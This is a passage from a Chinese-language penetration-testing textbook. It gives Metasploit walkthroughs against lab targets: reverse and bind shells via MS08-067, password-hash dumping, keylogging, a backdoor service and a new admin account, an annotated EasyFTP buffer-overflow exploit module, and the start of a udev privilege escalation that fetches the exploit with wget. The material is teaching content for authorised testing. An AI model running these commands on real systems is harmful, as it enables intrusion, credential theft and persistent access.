    445/tcp  openmicrosoft-ds  Microsoft Windows XP microsoft-ds
    1025/tcpopen  msrpc         Microsoft Windows RPC
    1433/tcpopen  ms-sql-s      Microsoft SQL Server 2005 9.00.1399; RTM
    3389/tcpopen  microsoft-rdp Microsoft Terminal Service
    MAC Address: 00:0B:6B:68:19:91 (WistronNeweb)
    Device type: general purpose
    Running: Microsoft Windows 2000|XP|2003
    OS details: Microsoft Windows 2000 SP2 - SP4, Windows XP SP2 - SP3, or Windows Server 2003 SP0 - SP2
    Network Distance: 1 hop
    TCP Sequence Prediction: Difficulty=263 (Good luck!)
    IP ID Sequence Generation: Incremental
    Service Info: Host: custdesk; OS: Windows
    ...
    Nmap done: 1 IP address (1 host up) scanned in 20.55 seconds
               Raw packets sent: 1026 (45.856KB) | Rcvd: 1024 (42.688KB)

此时,我们已成功扫描了目标并将结果保存在当前数据库会话中。要列出发现的目标和服务,您可以分别使用db_hostsdb_services命令。此外,如果您已经单独使用 Nmap 程序扫描了目标并将结果保存为 XML 格式,您可以使用db_import_nmap_xml命令将这些结果导入 Metasploit。

场景 2

在这个例子中,我们将说明 Metasploit 框架中的一些辅助功能。关键是要理解它们在漏洞分析过程中的重要性。

SMB 用户名

该模块将对目标 IP 地址进行扫描,尝试查找与服务器消息块SMB)相关联的用户名。该服务用于应用程序访问文件共享、打印机或网络设备之间的通信。使用 Metasploit 辅助扫描器之一,我们可以确定可能的用户名。

首先,通过输入以下内容在 Metasploit 中搜索扫描器:

 msf> search SMB 

然后,我们可以看到用于扫描开放 SMB 服务的不同扫描器的数量:

要使用扫描器,请输入以下内容:

 msf> use auxiliary/scanner/smb/smb_enumershares 

RHOSTS参数设置为网络范围,即192.168.0.1/24,输入以下内容:

 msf> set RHOSTS 192.168.0.1/24 

然后,输入以下内容:

 msf> run 

扫描结果表明有一个带有METASPLOITABLE用户名的 SMB 服务正在运行:

这可能表明存在可以被攻击的共享或其他网络服务。当我们开始破解用户凭据和密码时,METASPLOIT用户名也可以为我们提供一个起点。

VNC 空白认证扫描器

该模块将扫描 IP 地址范围内的虚拟网络计算VNC)服务器,这些服务器可以在没有任何认证详细信息的情况下访问:

 msf> use auxiliary/scanner/vnc/vnc_none_auth
    msf auxiliary(vnc_none_auth) > show options
    msf auxiliary(vnc_none_auth) > set RHOSTS 10.4.124.0/24
    RHOSTS => 10.4.124.0/24
    msf auxiliary(vnc_none_auth) > run
    [*] 10.4.124.22:5900, VNC server protocol version : "RFB 004.000", 
not supported!
    [*] 10.4.124.23:5900, VNC server protocol version : "RFB 004.000", 
not supported!
    [*] 10.4.124.25:5900, VNC server protocol version : "RFB 004.000", 
not supported!
    [*] Scanned 026 of 256 hosts (010% complete)
    [*] 10.4.124.26:5900, VNC server protocol version : "RFB 004.000", 
not supported!
    [*] 10.4.124.27:5900, VNC server security types supported : None, 
free access!
    [*] 10.4.124.28:5900, VNC server security types supported : None, 
free access!
    [*] 10.4.124.29:5900, VNC server protocol version : "RFB 004.000", 
not supported!
    ...
    [*] 10.4.124.224:5900, VNC server protocol version : "RFB 004.000", 
not supported!
    [*] 10.4.124.225:5900, VNC server protocol version : "RFB 004.000", 
not supported!
    [*] 10.4.124.227:5900, VNC server security types supported : None, 
free access!
    [*] 10.4.124.228:5900, VNC server protocol version : "RFB 004.000", 
not supported!
    [*] 10.4.124.229:5900, VNC server protocol version : "RFB 004.000", 
not supported!
    [*] Scanned 231 of 256 hosts (090% complete)
    [*] Scanned 256 of 256 hosts (100% complete)
    [*] Auxiliary module execution completed 

请注意,我们发现了一些可以在没有认证的情况下访问的 VNC 服务器。如果没有启用授权控制,这种攻击向量可能对系统管理员构成严重威胁,并且可能轻易地邀请来自互联网的不受欢迎的访客访问您的 VNC 服务器。

PostGRESQL 登录

在之前的章节中,我们在对 Metasploitable 操作系统进行 Nmap 扫描时发现了运行在端口5432上的 PostgreSQL 数据库服务:

我们可以利用 Metasploit 辅助扫描器来确定数据库的登录信息。首先,我们通过输入以下内容来配置 Metasploit 来使用扫描器:

 msf> use auxiliary/scanner/postgres/postgres_login

接下来,我们想要配置两个选项。第一个选项设置扫描器继续扫描,即使它找到了成功的登录。这使我们能够扫描多个数据库实例,并枚举许多用户名和密码。我们通过输入以下内容来配置这个选项:

 msf> set STOP_ON_SUCCESS true 

其次,我们设置要扫描的主机。扫描器将采用 CIDR 范围或单个 IP 地址。在这种情况下,我们将把扫描器指向192.168.0.30上的 Metasploitable OS,因为我们在 Nmap 扫描中已经确定在该 IP 地址上有一个活动实例。我们通过输入以下内容来设置这一点:

 msf> set RHOSTS 192.168.0.30

然后我们运行利用程序。当我们检查输出时,我们可以看到该数据库的用户名和密码已被找到:

数据库安全对组织至关重要,因为数据库通常包含机密信息。诸如 PostgreSQL 之类的扫描器使我们能够以高效的方式测试组织的核心机密信息周围的安全性。

情景 3

现在我们将探讨一些常见负载(绑定、反向和 Meterpreter),并从利用的角度讨论它们的功能。这个练习将让你了解何时以及如何使用特定的负载。

绑定 shell

绑定 shell 是一种远程 shell 连接,它在成功利用和执行 shellcode 设置绑定端口监听器后提供对目标系统的访问。这为攻击者打开了一个通道,使其能够使用 Netcat 等工具在绑定 shell 端口上连接回受损机器,从而可以通过 TCP 连接隧道传输标准输入(stdin)和输出(stdout)。这种情况的工作方式类似于 Telnet 客户端建立到 Telnet 服务器的连接,并且适用于攻击者位于网络地址转换NAT)或防火墙之后,无法从受损主机直接联系攻击者 IP 的环境。

以下是开始利用和设置绑定 shell 的命令:

 msf> use exploit/windows/smb/ms08_067_netapi
    msf exploit(ms08_067_netapi) > show options
    msf exploit(ms08_067_netapi) > set RHOST 192.168.0.7
    RHOST => 192.168.0.7
    msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/bind_tcp
    PAYLOAD => windows/shell/bind_tcp
    msf exploit(ms08_067_netapi) > exploit

    [*] Started bind handler
    [*] Automatically detecting the target...
    [*] Fingerprint: Windows XP Service Pack 2 - lang:English
    [*] Selected Target: Windows XP SP2 English (NX)
    [*] Attempting to trigger the vulnerability...
    [*] Sending stage (240 bytes) to 192.168.0.7
    [*] Command shell session 1 opened (192.168.0.3:41289 ->
192.168.0.7:4444) at Sat Nov 13 19:01:23 +0000 2010
    Microsoft Windows XP [Version 5.1.2600]
    (C) Copyright 1985-2001 Microsoft Corp.

    C:WINDOWSsystem32> 

因此,我们已经分析了 Metasploit 也自动化了使用集成的多负载处理程序连接到绑定 shell 的过程。在编写自己的利用程序并使用绑定 shellcode 时,Netcat 等工具可以派上用场,这需要第三方处理程序来建立到受损主机的连接。您可以在en.wikipedia.org/wiki/Netcat上阅读有关 Netcat 在各种网络安全操作中的实际用例。

反向 shell

反向 shell 是绑定 shell 的完全相反。它不是在目标系统上绑定端口并等待来自攻击者机器的连接,而是简单地连接回攻击者的 IP 和端口,并生成一个 shell。反向 shell 的一个显著特点是考虑到目标位于 NAT 或防火墙之后,阻止公共访问其系统资源。

以下是开始利用和设置反向 shell 的命令:

 msf> use exploit/windows/smb/ms08_067_netapi
    msf exploit(ms08_067_netapi) > set RHOST 192.168.0.7
    RHOST => 192.168.0.7
    msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
    PAYLOAD => windows/shell/reverse_tcp
    msf exploit(ms08_067_netapi) > show options
    msf exploit(ms08_067_netapi) > set LHOST 192.168.0.3
    LHOST => 192.168.0.3
    msf exploit(ms08_067_netapi) > exploit

    [*] Started reverse handler on 192.168.0.3:4444
    [*] Automatically detecting the target...
    [*] Fingerprint: Windows XP Service Pack 2 - lang:English
    [*] Selected Target: Windows XP SP2 English (NX)
    [*] Attempting to trigger the vulnerability...
    [*] Sending stage (240 bytes) to 192.168.0.7
    [*] Command shell session 1 opened (192.168.0.3:4444 ->
192.168.0.7:1027) at Sat Nov 13 22:59:02 +0000 2010
    Microsoft Windows XP [Version 5.1.2600]
    (C) Copyright 1985-2001 Microsoft Corp.

    C:WINDOWSsystem32> 

您可以通过攻击者的 IP 清楚地区分反向 shell 和绑定 shell。在反向 shell 配置中,我们必须提供攻击者的 IP(例如,LHOST 192.168.0.3),而在绑定 shell 中则不需要提供。

内联和分段负载之间有什么区别?内联负载是一个单独的自包含 shellcode,它将在一次利用实例中执行,而分段负载创建了攻击者和受害者机器之间的通信通道,以读取其余分段 shellcode 以执行特定任务。选择分段负载是常见做法,因为它们比内联负载要小得多。

Meterpreters

meterpreter 是一种高级、隐秘、多面的、动态可扩展的有效载荷,通过将反射式 DLL 注入目标内存来操作。脚本和插件可以在运行时动态加载,以扩展后期利用活动的目的。这包括提权、转储系统帐户、键盘记录、持久后门服务和启用远程桌面。此外,整个 meterpreter shell 的通信默认情况下是加密的。

以下是开始利用和设置 meterpreter 有效载荷的命令:

 msf> use exploit/windows/smb/ms08_067_netapi
    msf exploit(ms08_067_netapi) > set RHOST 192.168.0.7
    RHOST => 192.168.0.7
    msf exploit(ms08_067_netapi) > show payloads
    ...
    msf exploit(ms08_067_netapi) > set PAYLOAD 
windows/meterpreter/reverse_tcp
    PAYLOAD => windows/meterpreter/reverse_tcp
    msf exploit(ms08_067_netapi) > show options
    ...
    msf exploit(ms08_067_netapi) > set LHOST 192.168.0.3
    LHOST => 192.168.0.3
    msf exploit(ms08_067_netapi) > exploit

    [*] Started reverse handler on 192.168.0.3:4444
    [*] Automatically detecting the target...
    [*] Fingerprint: Windows XP Service Pack 2 - lang:English
    [*] Selected Target: Windows XP SP2 English (NX)
    [*] Attempting to trigger the vulnerability...
    [*] Sending stage (749056 bytes) to 192.168.0.7
    [*] Meterpreter session 1 opened (192.168.0.3:4444 ->
192.168.0.7:1029) at Sun Nov 14 02:44:26 +0000 2010
    meterpreter> help
    ... 

正如您所看到的,我们已成功获得了 meterpreter shell。通过输入,我们将能够看到各种可用于我们的命令。让我们检查我们当前的特权,并使用名为getsystem的 meterpreter 脚本将它们提升到SYSTEM级别:

    meterpreter>getuid
    Server username: CUSTDESKsalesdept
    meterpreter> use priv
    meterpreter>getsystem -h
    ...

这将显示提升我们特权的技术数量。通过使用默认命令getsystem,不带任何选项,它将针对目标尝试每种技术,并在成功时立即停止:

 meterpreter>getsystem
    ...got system (via technique 1).
    meterpreter>getuid
    Server username: NT AUTHORITYSYSTEM
    meterpreter>sysinfo
    Computer: CUSTDESK
    OS      : Windows XP (Build 2600, Service Pack 2).
    Arch    : x86
    Language: en_US 

如果您选择执行-j -z利用命令,则将利用执行推送到后台,并且不会出现交互式 meterpreter shell。但是,如果会话已成功建立,那么您可以使用会话-iID 与特定会话进行交互,或者通过键入会话-l获取活动会话的列表以获取确切的 ID 值。

让我们利用 meterpreter shell 的功能,并使用以下命令转储目标持有的当前系统帐户和密码。这些将以 NTLM 哈希格式显示,并可以通过使用以下命令的几种工具和技术来破解:

 meterpreter> run hashdump
    [*] Obtaining the boot key...
    [*] Calculating the hboot key using SYSKEY 71e52ce6b86e5da0c213566a1236f892...
    [*] Obtaining the user list and keys...
    [*] Decrypting user keys...
    [*] Dumping password hashes...
    h
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    HelpAssistant:1000:d2cd5d550e14593b12787245127c866d:d3e35f657c924d0b31eb811d2d986df9:::
    SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:c8edf0d0db48cbf7b2835ec013cfb9c5:::
    Momin Desktop:1003:ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204beb12283678:::
    IUSR_MOMINDESK:1004:a751dcb6ea9323026eb8f7854da74a24:b0196523134dd9a21bf6b80e02744513:::
    ASPNET:1005:ad785822109dd077027175f3382059fd:21ff86d627bcf380a5b1b6abe5d8e1dd:::
    IWAM_MOMINDESK:1009:12a75a1d0cf47cd0c8e2f82a92190b42:c74966d83d519ba41e5196e00f94e113:::
    h4x:1010:ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204beb12283678:::
    salesdept:1011:8f51551614ded19365b226f9bfc33fab:7ad83174aadb77faac126fdd377b1693::: 

现在,让我们通过使用 meterpreter shell 的键盘记录功能,使用以下命令将此活动进一步记录下来,这可能会从我们的目标中揭示一些有用的数据:

 meterpreter>getuid
    Server username: NT AUTHORITYSYSTEM
    meterpreter>ps
    Process list
    ============

     PID   Name              Arch  Session  User                          
Path
     ---   ----              ----  -------  ----                          
----
     0     [System Process]
     4     System            x86   0        NT AUTHORITYSYSTEM
     384   smss.exe          x86   0        NT AUTHORITYSYSTEM           
SystemRootSystem32smss.exe
     488   csrss.exe         x86   0        NT AUTHORITYSYSTEM           
??C:WINDOWSsystem32csrss.exe
     648   winlogon.exe      x86   0        NT AUTHORITYSYSTEM           
??C:WINDOWSsystem32winlogon.exe
     692   services.exe      x86   0        NT AUTHORITYSYSTEM           
C:WINDOWSsystem32services.exe
     704   lsass.exe         x86   0        NT AUTHORITYSYSTEM           
C:WINDOWSsystem32lsass.exe
    ...
    148   alg.exe           x86   0        NT AUTHORITYLOCAL SERVICE    
C:WINDOWSSystem32alg.exe
    3172  explorer.exe      x86   0        CUSTDESKsalesdept
C:WINDOWSExplorer.EXE
    3236  reader_sl.exe     x86   0        CUSTDESKsalesdept
C:Program FilesAdobeReader 9.0ReaderReader_sl.exe 

在这个阶段,我们将将 meterpreter shell 迁移到explorer.exe进程(3172),以便使用以下命令开始记录系统上当前用户的活动:

 meterpreter> migrate 3172
    [*] Migrating to 3172...
    [*] Migration completed successfully.
    meterpreter>getuid
    Server username: CUSTDESKsalesdept
    meterpreter>keyscan_start
    Starting the keystroke sniffer... 

我们现在已经启动了我们的键盘记录器,应该等一段时间来获取记录的数据块:

 meterpreter>keyscan_dump
    Dumping captured keystrokes...
    <Return> www.yahoo.com <Return><Back> www.bbc.co.uk <Return>
    meterpreter>keyscan_stop
    Stopping the keystroke sniffer... 

正如您所看到的,我们已经转储了目标的网络浏览活动。同样,我们还可以通过将winlogon.exe进程(648)迁移来捕获登录到系统的所有用户的凭据。

您已经利用并获得了对目标系统的访问权限,但现在希望保持此访问权限,即使在以后的阶段修补了被利用的服务或应用程序。这种活动通常被称为后门服务。请注意,meterpreter shell 提供的后门服务在访问目标系统上的特定网络端口之前不需要进行身份验证。这可能允许一些不速之客访问您的目标,并构成重大风险。作为渗透测试规则的一部分,通常不允许这种活动。因此,我们强烈建议您将后门服务远离官方的渗透测试环境。您还应确保在范围和规则确定阶段明确允许了这一点:

 msf exploit(ms08_067_netapi) > exploit
    [*] Started reverse handler on 192.168.0.3:4444
    [*] Automatically detecting the target...
    [*] Fingerprint: Windows XP Service Pack 2 - lang:English
    [*] Selected Target: Windows XP SP2 English (NX)
    [*] Attempting to trigger the vulnerability...
    [*] Sending stage (749056 bytes) to 192.168.0.7
    [*] Meterpreter session 1 opened (192.168.0.3:4444 ->
192.168.0.7:1032) at Tue Nov 16 19:21:39 +0000 2010
    meterpreter>ps
    ...
     292   alg.exe           x86   0        NT AUTHORITYLOCAL SERVICE    
C:WINDOWSSystem32alg.exe
    1840  csrss.exe         x86   2        NT AUTHORITYSYSTEM           
??C:WINDOWSsystem32csrss.exe
     528   winlogon.exe      x86   2        NT AUTHORITYSYSTEM           
??C:WINDOWSsystem32winlogon.exe
     240   rdpclip.exe       x86   0        CUSTDESKMomin Desktop        
C:WINDOWSsystem32rdpclip.exe
    1060  userinit.exe      x86   0        CUSTDESKMomin Desktop        
C:WINDOWSsystem32userinit.exe
    1544  explorer.exe      x86   0        CUSTDESKMomin Desktop        
C:WINDOWSExplorer.EXE
    ...
    meterpreter> migrate 1544
    [*] Migrating to 1544...
    [*] Migration completed successfully.
    meterpreter> run metsvc -h
    ...
    meterpreter> run metsvc
    [*] Creating a meterpreter service on port 31337
    [*] Creating a temporary installation directory 
C:DOCUME~1MOMIND~1LOCALS~1TempoNyLOPeS...
    [*]  >> Uploading metsrv.dll...
    [*]  >> Uploading metsvc-server.exe...
    [*]  >> Uploading metsvc.exe...
    [*] Starting the service...
             * Installing service metsvc
     * Starting service
    Service metsvc successfully installed. 

因此,我们最终在我们的目标上启动了后门服务。我们将关闭当前的 meterpreter 会话,并使用windows/metsvc_bind_tcp有效载荷的multi/handler与我们的后门服务进行交互:

 meterpreter> exit
 [*] Meterpreter session 1 closed. Reason: User exit msf exploit(ms08_067_netapi) > back msf> use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp PAYLOAD => windows/metsvc_bind_tcp msf exploit(handler) > set LPORT 31337 LPORT => 31337 msf exploit(handler) > set RHOST 192.168.0.7 RHOST => 192.168.0.7 msf exploit(handler) > exploit [*] Starting the payload handler... [*] Started bind handler [*] Meterpreter session 2 opened (192.168.0.3:37251 ->
192.168.0.7:31337) at Tue Nov 16 20:02:05 +0000 2010 meterpreter>getuid Server username: NT AUTHORITYSYSTEM

让我们使用另一个有用的 meterpreter 脚本getgui,为我们的目标启用远程桌面访问。以下练习将在目标上创建一个新用户帐户,并在以前禁用远程桌面服务的情况下启用远程桌面服务:

 meterpreter> run getgui -u btuser -p btpass
    [*] Windows Remote Desktop Configuration Meterpreter Script by 
Darkoperator
    [*] Carlos Perez carlos_perez@darkoperator.com
    [*] Language set by user to: 'en_EN'
    [*] Setting user account for logon
    [*]     Adding User: btuser with Password: btpass
    [*]     Adding User: btuser to local group 'Remote Desktop Users'
    [*]     Adding User: btuser to local group 'Administrators'
    [*] You can now login with the created user
    [*] For cleanup use command: run multi_console_command -rc
/root/.msf3/logs/scripts/getgui/clean_up__20101116.3447.rc 

现在,我们可以使用rdesktop程序登录到我们的目标系统,方法是在另一个终端上输入以下命令:

 # rdesktop 192.168.0.7:3389 

请注意,如果您已经拥有目标机器上任何现有用户的破解密码,您可以简单地执行run getgui -e命令来启用远程桌面服务,而不是添加新用户。此外,请不要忘记通过执行上一个输出末尾引用的getgui/clean_up脚本来清理系统中的痕迹。

我应该如何通过深入访问无法从外部访问的目标网络来扩展我的攻击范围?Metasploit 提供了使用route add targetSubnettargetSubnetMaskSessionId命令查看和添加到目标网络的新路由的能力(例如,route add 10.2.4.0 255.255.255.0 1)。这里,SessionId参数指向现有的 meterpreter 会话(网关),而targetsubnet参数是另一个网络地址(或双重家庭以太网网络地址),位于我们受损目标之外。一旦您设置 Metasploit 通过受损主机会话路由所有流量,我们就准备好进一步渗透通常无法从我们这边路由的网络。这通常被称为枢纽或立足点。

编写利用模块

开发利用是 Metasploit 框架中最有趣的方面之一。在本节中,我们将简要讨论围绕利用开发的核心问题,并通过从现有框架数据库中获取的实时示例解释其关键骨架。然而,在尝试编写自己的利用模块之前,熟练掌握 Ruby 编程语言非常重要。另一方面,中级的逆向工程技能和对漏洞发现工具(例如模糊测试工具和调试器)的实际理解为利用构建提供了一张开放的地图。本节仅作为该主题的介绍,而不是完整的指南。

对于我们的示例,我们选择了漏洞(EasyFTP Server <= 1.7.0.11 MKD Command Stack Buffer Overflow),它将提供对 Easy FTP Server 应用程序中缓冲区溢出漏洞的基本视图。您可以将此模块移植到其他 FTP 服务器应用程序中发现的类似漏洞,并有效利用您的时间。漏洞代码位于/usr/share/metasploit-framework/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb

 ##
    # $Id: easyftp_mkd_fixret.rb 9935 2010-07-27 02:25:15Z jduck $
    ## 

上述代码是表示文件名、修订号以及漏洞的日期和时间值的基本标头:

 ##
    # This file is part of the Metasploit Framework and may be subject 
to
    # redistribution and commercial restrictions. Please see the 
Metasploit
    # Framework web site for more information on licensing and terms 
of use.
    # http://metasploit.com/framework/
    ##
    require 'msf/core' 

MSF 核心库需要在利用开始时进行初始化:

class Metasploit3 <Msf::Exploit::Remote 

在上述代码中,Exploitmixin/类是为远程 TCP 连接提供各种选项和方法的类,例如RHOSTRPORTConnect()Disconnect()SSL()。以下代码是根据其频繁需求和使用分配给漏洞的等级:

 Rank = GreatRanking 

在以下代码中,Ftp mixin/类与 FTP 服务器建立连接:

includeMsf::Exploit::Remote::Ftp 

以下代码提供了有关漏洞的通用信息,并指向已知的参考资料:

def initialize(info = {}) 
super(update_info(info, 
      'Name'           => 'EasyFTP Server <= 1.7.0.11 MKD Command 
Stack Buffer Overflow', 
      'Description'    => %q{ 
          This module exploits a stack-based buffer overflow in 
EasyFTP Server 1.7.0.11 
and earlier. EasyFTP fails to check input size when 
parsing 'MKD' commands, which 
leads to a stack based buffer overflow. 

        NOTE: EasyFTP allows anonymous access by default. However, 
in order to access the 
        'MKD' command, you must have access to an account that can
create directories. 

        After version 1.7.0.12, this package was renamed 
"UplusFtp". 

        This exploit utilizes a small piece of code that I've 
referred to as 'fixRet'. 
        This code allows us to inject of payload of ~500 bytes 
into a 264 byte buffer by 
        'fixing' the return address post-exploitation.  See 
references for more information. 
      }, 
      'Author'         => 
        [ 
          'x90c',   # original version 
          'jduck'   # port to metasploit / modified to use fix-up 
stub (works with bigger payloads) 
        ], 
      'License'        => MSF_LICENSE, 
      'Version'        => '$Revision: 9935 $', 
      'References'     => 
        [ 
[ 'OSVDB', '62134' ], 
[ 'URL', 'http://www.exploit-db.com/exploits/12044/' ], 
[ 'URL', 'http://www.exploit-db.com/exploits/14399/' ] 
        ], 

以下代码指示有效载荷在执行过程完成后清理自身:

 'DefaultOptions' => 
        { 
          'EXITFUNC' => 'thread' 

以下代码片段定义了 512 字节的空间供 shellcode 使用,列出了应该终止我们有效载荷传递的不良字符,并禁用了 NOP 填充:

 }, 
      'Privileged'     => false, 
      'Payload'        => 
        { 
          'Space'    => 512, 
          'BadChars' => "x00x0ax0dx2fx5c", 
          'DisableNops' => true 
        }, 

以下代码片段提供了有关目标平台和定义易受攻击目标(09)的说明,列出了 Easy FTP Server 的不同版本(1.7.0.21.7.0.11),每个版本都基于应用程序二进制文件(ftpbasicsvr.exe)的唯一返回地址。此外,还添加了漏洞披露日期,并将默认目标设置为0v1.7.0.2):

 'Platform'       => 'win', 
      'Targets'        => 
        [ 
[ 'Windows Universal - v1.7.0.2',   { 'Ret' =>
          0x004041ec } ], # call ebp - from ftpbasicsvr.exe 
[ 'Windows Universal - v1.7.0.3',   { 'Ret' =>
          0x004041ec } ], # call ebp - from ftpbasicsvr.exe 
[ 'Windows Universal - v1.7.0.4',   { 'Ret' =>
          0x004041dc } ], # call ebp - from ftpbasicsvr.exe 
[ 'Windows Universal - v1.7.0.5',   { 'Ret' =>
          0x004041a1 } ], # call ebp - from ftpbasicsvr.exe 
[ 'Windows Universal - v1.7.0.6',   { 'Ret' =>
          0x004041a1 } ], # call ebp - from ftpbasicsvr.exe 
[ 'Windows Universal - v1.7.0.7',   { 'Ret' =>
          0x004041a1 } ], # call ebp - from ftpbasicsvr.exe 
[ 'Windows Universal - v1.7.0.8',   { 'Ret' =>
          0x00404481 } ], # call ebp - from ftpbasicsvr.exe 
[ 'Windows Universal - v1.7.0.9',   { 'Ret' =>
          0x00404441 } ], # call ebp - from ftpbasicsvr.exe 
[ 'Windows Universal - v1.7.0.10',  { 'Ret' =>
          0x00404411 } ], # call ebp - from ftpbasicsvr.exe 
[ 'Windows Universal - v1.7.0.11',  { 'Ret' =>
          0x00404411 } ], # call ebp - from ftpbasicsvr.exe 
        ], 
      'DisclosureDate' => 'Apr 04 2010', 
      'DefaultTarget' => 0)) 

在以下代码中,check()函数确定目标是否易受攻击:

end 

def check 
connect 
disconnect 

if (banner =~ /BigFoolCat/) 
return Exploit::CheckCode::Vulnerable 
end 
return Exploit::CheckCode::Safe 
end 

以下代码定义了一个生成 NOP 滑梯以帮助 IDS/IPS/AV 规避的函数。一些人认为 NOP 滑梯是解决这个问题的一个快速而肮脏的解决方案,并认为除非有特别好的理由,否则不应该使用它们。为简单起见,在编写模块的示例中,我们在代码中保留了该函数:

defmake_nops(num); "C" * num; end 

以下过程修复了一个返回地址,从这个地址可以执行有效负载。从技术上讲,它解决了栈寻址的问题:

def exploit 
connect_login 

    # NOTE: 
    # This exploit jumps to ebp, which happens to point at a 
    partial version of 
    # the 'buf' string in memory. The fixRet below fixes up the 
    code stored on the 
    # stack and then jumps there to execute the payload. The value 
    inesp is used 
    # with an offset for the fixup. 
fixRet_asm = %q{ 
movedi,esp 
subedi, 0xfffffe10 
mov [edi], 0xfeedfed5 
addedi, 0xffffff14 
jmpedi 
    } 
fixRet = Metasm::Shellcode.assemble(Metasm::Ia32.new, 
fixRet_asm).encode_string 

buf = '' 

最初,利用缓冲区包含编码的返回地址和随机化的 NOP 指令:

print_status("Prepending fixRet...") 
buf<<fixRet 
buf<<make_nops(0x20 - buf.length)

以下代码在运行时向我们的利用程序中添加了一个动态生成的 shellcode:

print_status("Adding the payload...") 
buf<<payload.encoded 

以下代码修复了堆栈数据,并在保存我们的 shellcode 缓冲区的返回地址上进行了短跳转:

 # Patch the original stack data into the fixer stub 
buf[10, 4] = buf[268, 4] 

print_status("Overwriting part of the payload with target 
    address...") 
buf[268,4] = [target.ret].pack('V') # put return address @ 268 
    bytes 

最后,使用前面的代码,我们使用易受攻击的 MKD FTP 后身份验证命令将我们的最终缓冲区发送到特定目标。由于 Easy FTP 服务器中的 MKD 命令容易受到基于堆栈的缓冲区溢出的影响,buf命令将溢出目标堆栈,并通过执行我们的有效负载来利用目标系统:

print_status("Sending exploit buffer...") 
send_cmd( ['MKD', buf] , false) 

使用以下代码关闭您的连接:

handler 
disconnect 
end 

end 

Metasploit 配备了有用的工具,例如msfpescan用于 Win32 和msfelfscan用于 Linux 系统,这些工具可能会帮助您找到特定目标的返回地址。例如,要从您选择的应用程序文件中找到一个可持续的返回地址,请键入# msfpescan -p targetapp.ext

摘要

在本章中,我们指出了目标开发所需的几个关键领域。首先,我们概述了弱点研究,强调了渗透测试人员需要具备必要的知识和技能,这反过来又对弱点评估产生了影响。然后,我们提供了一个在线存储库列表,您可以从中获取许多公开披露的漏洞和利用代码。在最后一部分,我们演示了一个名为 Metasploit 框架的高级利用工具包的实际用途。所提供的练习纯粹旨在通过战术利用方法探索和理解目标获取过程。此外,我们通过分析框架中示例利用代码的每个步骤,解释了对利用开发的见解,以帮助您理解基本的骨架和构建策略。

在下一章中,我们将讨论提权和使用各种工具和技术维持访问的过程,以及在获得目标后它如何有益。

第九章:特权升级和保持访问

在上一章中,我们利用了在漏洞扫描过程中发现的漏洞来攻击目标机器。然而,当你利用系统时所获得的访问级别取决于你所利用的服务。例如,如果你利用了 Web 应用程序中的漏洞,你很可能会获得与运行该服务的帐户相同的访问级别;比如www数据。

在本章中,我们将提升对系统的访问权限,然后实施方法来保持对被攻击系统的访问权限,以防失去连接或需要返回到该系统。

技术要求

本章将需要 Kali Linux、Metasploitable 2 和 Nmap 安装在我们的系统上。

特权升级

特权升级可以定义为利用漏洞来获取对系统的提升访问权限的过程。

有两种特权升级:

  • 垂直特权升级:在这种类型中,权限较低的用户能够访问为权限最高的用户设计的应用程序功能,例如,内容管理系统,其中用户能够访问系统管理员功能。

  • 水平特权升级:当普通用户能够访问为其他普通用户设计的功能时发生。例如,在一个互联网银行应用程序中,用户 A 能够访问用户 B 的菜单。

以下是可以用来获取未经授权访问目标的特权升级向量:

  • 本地利用

  • 利用配置错误,比如一个可访问的家目录,其中包含一个允许访问其他机器的 SSH 私钥

  • 利用目标上的弱密码

  • 嗅探网络流量以捕获凭据

  • 欺骗网络数据包

本地提升

在本节中,我们将使用本地利用来提升我们的特权。

为了证明这一点,我们将使用以下虚拟机:

  • Metasploitable 2 作为我们的受害机

  • Kali Linux 作为我们的攻击机

首先,我们将识别受害机器上可用的开放网络服务。为此,我们使用 Nmap 端口扫描仪并使用以下命令:

nmap -p- 172.16.43.156

我们配置 Nmap 使用-p-选项扫描所有端口(从端口1到端口65,535)。

以下截图显示了上述命令的简要结果:

在互联网上做了一些研究后,我们发现distccd服务存在一个漏洞,可能允许恶意用户执行任意命令。distccd服务用于在一组相似配置的系统中扩展大型编译作业。

接下来,在 Metasploit 中搜索是否有这个易受攻击服务的利用:

从上面的截图中,我们可以看到 Metasploit 有对易受攻击的distccd服务的利用。

让我们尝试利用该服务,如下图所示:

我们能够利用该服务并发出操作系统命令来查找我们的特权:daemon

下一步是探索系统以获取更多关于它的信息。现在,让我们通过发出以下命令来查看内核版本:

uname -r

使用的内核版本是2.6.24-16-server

我们搜索了exploit-db数据库,并找到了一个漏洞利用(www.exploit-db.com/exploits/8572/),可以让我们提升特权到root。然后我们使用以下命令搜索 Kali Linux 漏洞利用术语udev,这与exploit-db网页中的漏洞利用匹配:

searchsploit udev

这个命令产生以下输出:

接下来,我们需要将这个利用程序从攻击机器传输到受损机器。我们可以使用受损机器的wget命令来做到这一点。首先,将利用程序传输到我们的机器上受损机器将查找文件的文件夹。使用命令行复制利用程序,输入以下命令:

cp /usr/share/exploitdb/platforms/linux/local/857s.c /var/www/html

接下来,确保apache2服务器正在运行,输入以下命令:

service apache2 start

我们可以使用受损机器上的wget命令从攻击机器下载利用程序,该命令会在攻击机器的/var/www/html文件夹中查找文件:

成功下载利用程序后,我们使用以下gcc命令在受害机器上编译它:

gcc 8572.c -o 8572

现在我们的利用程序已经准备好使用了。根据源代码,我们发现这个利用程序需要udevd netlink套接字的进程标识符PID)作为参数。我们可以通过发出以下命令来获取这个值:

cat /proc/net/netlink

以下截图显示了这个命令的结果:

您还可以通过发出以下命令来获取udev服务的 PID,即1

ps aux | grep udev

以下命令行截图是前面命令的结果:

在真实的渗透测试过程中,您可能希望设置一个具有与目标相同内核版本的测试机器来测试利用程序。

根据我们对受害者机器的信息收集,我们知道这台机器安装了 Netcat。一旦利用运行,我们将使用 Netcat 连接回我们的机器,以便给我们 root 访问权限。根据利用源代码信息,我们需要将有效载荷保存在一个名为run的文件中:

